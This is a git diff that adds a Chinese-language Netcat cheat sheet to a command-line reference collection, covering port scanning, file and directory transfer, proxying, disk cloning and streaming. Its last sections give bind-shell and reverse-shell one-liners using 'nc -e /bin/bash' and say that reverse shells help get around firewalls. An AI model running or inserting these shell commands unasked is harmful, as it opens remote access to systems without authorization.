diff --git a/README.md b/README.md
index 4c14636..077f49a 100644
--- a/README.md
+++ b/README.md
@@ -78,6 +78,7 @@ Quick Reference
[htop](./docs/htop.md)
[Home Brew](./docs/homebrew.md)
[Netstat](./docs/netstat.md)
+[Netcat](./docs/netcat.md)
[Sed](./docs/sed.md)
[SSH](./docs/ssh.md)
[Screen](./docs/screen.md)
diff --git a/docs/git.md b/docs/git.md
index adee548..9500295 100644
--- a/docs/git.md
+++ b/docs/git.md
@@ -1,7 +1,7 @@
Git 备忘清单
===
-本备忘单总结了常用的 Git 命令行指令,以供快速参考。
+本备忘单总结了常用的 [Git](https://git-scm.com/) 命令行指令,以供快速参考。
入门
----
diff --git a/docs/netcat.md b/docs/netcat.md
new file mode 100644
index 0000000..85b70cb
--- /dev/null
+++ b/docs/netcat.md
@@ -0,0 +1,231 @@
+Netcat 备忘清单
+===
+
+该备忘单提供了在 Linux 和 Unix 上使用 Netcat 的各种方法。
+
+入门
+------
+
+
+### 用法
+
+
+连接到位于任何地方的主机
+
+```shell
+$ nc [options] [host] [port]
+```
+
+监听传入连接
+
+```shell
+$ nc -lp port [host] [port]
+```
+
+### 选项示例
+
+
+
+选项 | 示例 | 说明
+:- | :- | :-
+`-h` | nc -h | 帮助
+`-z` | nc -z 192.168.1.9 1-100 | 端口扫描主机或 `IP` 地址
+`-v` | nc -zv 192.168.1.9 1-100 | 提供详细输出
+`-n` | nc -zn 192.168.1.9 1-100 | 通过禁用 `DNS` 解析进行快速扫描
+`-l` | nc -lp 8000 | `TCP` 侦听模式 _(用于入站连接)_
+`-w` | nc -w 180 192.168.1.9 8000 | 定义超时值
+`-k` | nc -kl 8000 | 断线后继续收听
+`-u` | nc -u 192.168.1.9 8000 | 使用 `UDP` 而不是 `TCP`
+`-q` | nc -q 1 192.168.1.9 8000 | 客户在 `EOF` 后熬夜
+`-4` | nc -4 -l 8000 | 仅限 `IPv4`
+`-6` | nc -6 -l 8000 | 仅限 `IPv6`
+
+
+### 聊天客户端-服务器
+
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000
+```
+
+Netcat 示例
+--------
+
+### Banner 抓取
+
+```shell
+$ nc website.com 80
+GET index.html HTTP/1.1
+HEAD / HTTP/1.1
+```
+
+或者
+
+```shell
+echo "" | nc -zv -wl 192.168.1.1 801-805
+```
+
+### 端口扫描
+
+扫描 `21` 到 `25` 之间的端口
+
+```shell
+$ nc -zvn 192.168.1.1 21-25
+```
+
+扫描端口 `22`、`3306` 和 `8080`
+
+```shell
+$ nc -zvn 192.168.1.1 22 3306 8080
+```
+
+### 代理和端口转发
+
+```shell
+$ nc -lp 8001 -c "nc 127.0.0.1 8000"
+```
+
+或者
+
+```shell
+$ nc -l 8001 | nc 127.0.0.1 8000
+```
+
+创建从一个本地端口到另一个本地端口的隧道
+
+### 下载文件
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000 < file.txt
+```
+
+客户端 Client
+
+```shell
+$ nc -nv 192.168.1.9 8000 > file.txt
+```
+
+假设您想将文件 `file.txt` 从服务器 A 传输到客户端 B。
+
+### 上传文件
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000 > file.txt
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000 < file.txt
+```
+
+假设您想将文件 `file.txt` 从客户端 `B` 传输到服务器 `A`
+
+### 目录传输
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ tar -cvf – dir_name | nc -l 8000
+```
+
+客户端 Client
+
+```shell
+$ nc -n 192.168.1.9 8000 | tar -xvf -
+```
+
+假设您想通过网络将目录从 `A` 传输到 `B`
+
+### 加密传输
+
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -l 8000 | openssl enc -d -des3 -pass pass:password > file.txt
+```
+
+客户端 Client
+
+```shell
+$ openssl enc -des3 -pass pass:password | nc 192.168.1.9 8000
+```
+
+在通过网络传输之前加密数据
+
+### 克隆
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ dd if=/dev/sda | nc -l 8000
+```
+
+客户端 Client
+
+```shell
+$ nc -n 192.168.1.9 8000 | dd of=/dev/sda
+```
+
+克隆 linux PC 非常简单。假设你的系统盘是 /dev/sda
+
+### 视频流
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ cat video.avi | nc -l 8000
+```
+
+客户端 Client
+
+```shell {.wrap}
+$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -
+```
+
+使用 netcat 流式传输视频
+
+### 远程 shell
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000 -e /bin/bash
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000
+```
+
+我们已经使用 `telnet` 和 `ssh` 使用远程 `Shell`,但是如果它们没有安装并且我们没有安装它们的权限,那么我们也可以使用 `netcat` 创建远程 `shell`
+
+### 逆转 shell
+
+服务器 Server (192.168.1.9)
+
+```shell
+$ nc -lv 8000
+```
+
+客户端 Client
+
+```shell
+$ nc 192.168.1.9 8000 -v -e /bin/bash
+```
+
+反向 `shell` 通常用于绕过防火墙限制,例如阻止入站连接
\ No newline at end of file
diff --git a/scripts/assets/colors-named.svg b/scripts/assets/colors-named.svg
new file mode 100644
index 0000000..bbc2039
--- /dev/null
+++ b/scripts/assets/colors-named.svg
@@ -0,0 +1,3 @@
+
diff --git a/scripts/assets/netcat.svg b/scripts/assets/netcat.svg
new file mode 100644
index 0000000..ff805fd
--- /dev/null
+++ b/scripts/assets/netcat.svg
@@ -0,0 +1,3 @@
+
\ No newline at end of file